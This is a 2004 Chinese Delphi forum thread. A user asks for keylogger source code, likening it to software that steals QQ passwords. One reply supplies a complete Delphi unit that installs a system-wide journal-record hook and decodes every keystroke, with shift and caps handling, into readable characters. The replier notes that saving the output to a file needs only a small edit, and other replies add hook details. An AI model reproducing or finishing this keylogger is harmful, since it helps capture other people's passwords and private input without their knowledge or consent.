&&&&&&&&&&&&&&关于记录键盘消息&&&&&&&&&&&& 马上结帐

LWWL 2004-06-28 09:07:23
我想做个记录屏幕键盘信息的程序 把按键信息保存到1个文本里面,类似于盗QQ密码的软件,我知道用HOOK实现 不知道怎么做
哪位大侠以前写过 可否给小弟一个源码?要判断大小写和数字
分不够我继续加。

成功后马上结帐
...全文
95 6 打赏 收藏 转发到动态 举报
AI 作业
写回复
用AI写文章
6 条回复
切换为时间正序
请发表友善的回复…
发表回复
juliens 2004-06-28
  • 打赏
  • 举报
回复
查一下MSDN就知道了,它是用来调用钩子链中的下一个钩子!
juliens 2004-06-28
  • 打赏
  • 举报
回复
API函数!
LWWL 2004-06-28
  • 打赏
  • 举报
回复
CallNextHookEx 是系统函数 还是自定义函数?
linzhengqun 2004-06-28
  • 打赏
  • 举报
回复
else if Keyvalue=35 then
begin
Form1.Label1.Caption:='End'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=27 then
begin
Form1.Label1.Caption:='ESC'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=8 then
begin
Form1.Label1.Caption:='Back Sapce'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=45 then
begin
Form1.Label1.Caption:='Insert'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=33 then
begin
Form1.Label1.Caption:='Page Up'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=34 then
begin
Form1.Label1.Caption:='Page Down'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=36 then
begin
Form1.Label1.Caption:='Hone'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=38 then
begin
Form1.Label1.Caption:='Up'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=37 then
begin
Form1.Label1.Caption:='Left'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=40 then
begin
Form1.Label1.Caption:='Down'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=39 then
begin
Form1.Label1.Caption:='Right'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=107 then
begin
Form1.Label1.Caption:='+'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=109 then
begin
Form1.Label1.Caption:='-'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=111 then
begin
Form1.Label1.Caption:='/'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=106 then
begin
Form1.Label1.Caption:='*'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=219 then
begin
if ks[VK_SHIFT]and $80<>0 then
Form1.Label1.Caption:='{'+': '+INTtoStr(KeyValue)
else
Form1.Label1.Caption:='['+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=221 then
begin
if ks[VK_SHIFT]and $80<>0 then
Form1.Label1.Caption:='}'+': '+INTtoStr(KeyValue)
else
Form1.Label1.Caption:=']'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=110 then
begin
Form1.Label1.Caption:='.'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=186 then
begin
if ks[VK_SHIFT]and $80<>0 then
Form1.Label1.Caption:=':'+': '+INTtoStr(KeyValue)
else
Form1.Label1.Caption:=';'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=222 then
begin
if ks[VK_SHIFT]and $80<>0 then
Form1.Label1.Caption:='”'+': '+INTtoStr(KeyValue)
else
Form1.Label1.Caption:='’'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=49 then
begin
if ks[VK_SHIFT]and $80<>0 then
Form1.Label1.Caption:='!'+': '+INTtoStr(KeyValue)
else
Form1.Label1.Caption:='1'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=50 then
begin
if ks[VK_SHIFT]and $80<>0 then
Form1.Label1.Caption:='@'+': '+INTtoStr(KeyValue)
else
Form1.Label1.Caption:='2'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=51 then
begin
if ks[VK_SHIFT]and $80<>0 then
Form1.Label1.Caption:='#'+': '+INTtoStr(KeyValue)
else
Form1.Label1.Caption:='3'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=52 then
begin
if ks[VK_SHIFT]and $80<>0 then
Form1.Label1.Caption:='$'+': '+INTtoStr(KeyValue)
else
Form1.Label1.Caption:='4'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=53 then
begin
if ks[VK_SHIFT]and $80<>0 then
Form1.Label1.Caption:='%'+': '+INTtoStr(KeyValue)
else
Form1.Label1.Caption:='5'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=54 then
begin
if ks[VK_SHIFT]and $80<>0 then
Form1.Label1.Caption:='^'+': '+INTtoStr(KeyValue)
else
Form1.Label1.Caption:='6'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=55 then
begin
if ks[VK_SHIFT]and $80<>0 then
Form1.Label1.Caption:='&'+': '+INTtoStr(KeyValue)
else
Form1.Label1.Caption:='7'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=56 then
begin
if ks[VK_SHIFT]and $80<>0 then
Form1.Label1.Caption:='*'+': '+INTtoStr(KeyValue)
else
Form1.Label1.Caption:='8'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=57 then
begin
if ks[VK_SHIFT]and $80<>0 then
Form1.Label1.Caption:='('+': '+INTtoStr(KeyValue)
else
Form1.Label1.Caption:='9'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=48 then
begin
if ks[VK_SHIFT]and $80<>0 then
Form1.Label1.Caption:=')'+': '+INTtoStr(KeyValue)
else
Form1.Label1.Caption:='0'+': '+INTtoStr(KeyValue);
exit;
end
else
temp:=KeyValue;

Form1.Label1.Caption:=char(temp)+': '+INTtoStr(temp);

end;
end;
End; // KbHook

procedure TForm1.Button1Click(Sender: TObject);
begin
if oldHook=0 then
oldHook := SetWindowsHookEx( WH_JOURNALRECORD, @KbHook, HInstance, 0);

end;
procedure TForm1.Button2Click(Sender: TObject);
begin
If oldHook <> 0 Then
Begin
UnhookWindowshookEx( oldHook );
oldHook := 0;
End; // If

end;



end.
linzhengqun 2004-06-28
  • 打赏
  • 举报
回复
建立一个工程文件,把这个单元拷过去 ,然后运行,就可以看见了,不过你要保存到
文件,带需要改一孜,应该不是很难
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;

type
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
Label1: TLabel;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
Function KbHook( code: Integer; wparam: Word; lparam: LongInt ): LRESULT;stdcall;
var
Form1: TForm1;
oldHook:Hhook;
implementation

{$R *.dfm}
Function KbHook( code: Integer; wparam: Word; lparam: LongInt ): LRESULT;stdcall;
var temp,KeyValue:UINT;
ks: TkeyBoardState;
Begin
result:=0;
If code < 0 Then
begin
result:= CallNextHookEx( oldHook, code, wparam, lparam );
end
Else begin
if pEventMSG(lParam)^.message=WM_KEYDOWN then
begin
KeyValue:=pEventMSG(lParam)^.paramL mod 256;
GetKeyboardState(ks);
if (KeyValue>=65) and (KeyValue<92)then
begin
if (ks[VK_CAPITAL]<>1) then
if ks[VK_SHIFT]and $80<>0 then
temp:=KeyValue
else
temp:=KeyValue+32
else
if ks[VK_SHIFT]and $80<>0 then
temp:=KeyValue+32
else
temp:=KeyValue;
end
else if(KeyValue>=96)and(KeyValue<106) then
temp:=KeyValue-48
else if(KeyValue>=112)and(KeyValue<124) then
begin
Form1.Label1.Caption:='F'+IntTostr(KeyValue-111)+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=13 then
begin
Form1.Label1.Caption:='Enter'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=32 then
begin
Form1.Label1.Caption:='Space'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=16 then
begin
Form1.Label1.Caption:='Shift'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=17 then
begin
Form1.Label1.Caption:='Ctrl or Alt'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=20 then
begin
Form1.Label1.Caption:='Caps Lock'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=9 then
begin
Form1.Label1.Caption:='Tab'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=188 then
begin
if ks[VK_SHIFT]and $80<>0 then
Form1.Label1.Caption:='<'+': '+INTtoStr(KeyValue)
else
Form1.Label1.Caption:=','+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=190 then
begin
if ks[VK_SHIFT]and $80<>0 then
Form1.Label1.Caption:='>'+': '+INTtoStr(KeyValue)
else
Form1.Label1.Caption:='.'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=191 then
begin
if ks[VK_SHIFT]and $80<>0 then
Form1.Label1.Caption:='?'+': '+INTtoStr(KeyValue)
else
Form1.Label1.Caption:='/'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=192 then
begin
if ks[VK_SHIFT]and $80<>0 then
Form1.Label1.Caption:='~'+': '+INTtoStr(KeyValue)
else
Form1.Label1.Caption:='`'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=189 then
begin
if ks[VK_SHIFT]and $80<>0 then
Form1.Label1.Caption:='_'+': '+INTtoStr(KeyValue)
else
Form1.Label1.Caption:='-'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=187 then
begin
if ks[VK_SHIFT]and $80<>0 then
Form1.Label1.Caption:='+'+': '+INTtoStr(KeyValue)
else
Form1.Label1.Caption:='='+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=220 then
begin
if ks[VK_SHIFT]and $80<>0 then
Form1.Label1.Caption:='|'+': '+INTtoStr(KeyValue)
else
Form1.Label1.Caption:='\'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=46 then
begin
Form1.Label1.Caption:='Delete'+': '+INTtoStr(KeyValue);
exit;
end
ztenv 2004-06-28
  • 打赏
  • 举报
回复
要用到系统级的钩子,也就是把钩子的实现过程写到DLL中,接着要挂钩(setwindowshookex),

5,930

社区成员

发帖
与我相关
我的任务
社区描述
Delphi 开发及应用
社区管理员
  • VCL组件开发及应用社区
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧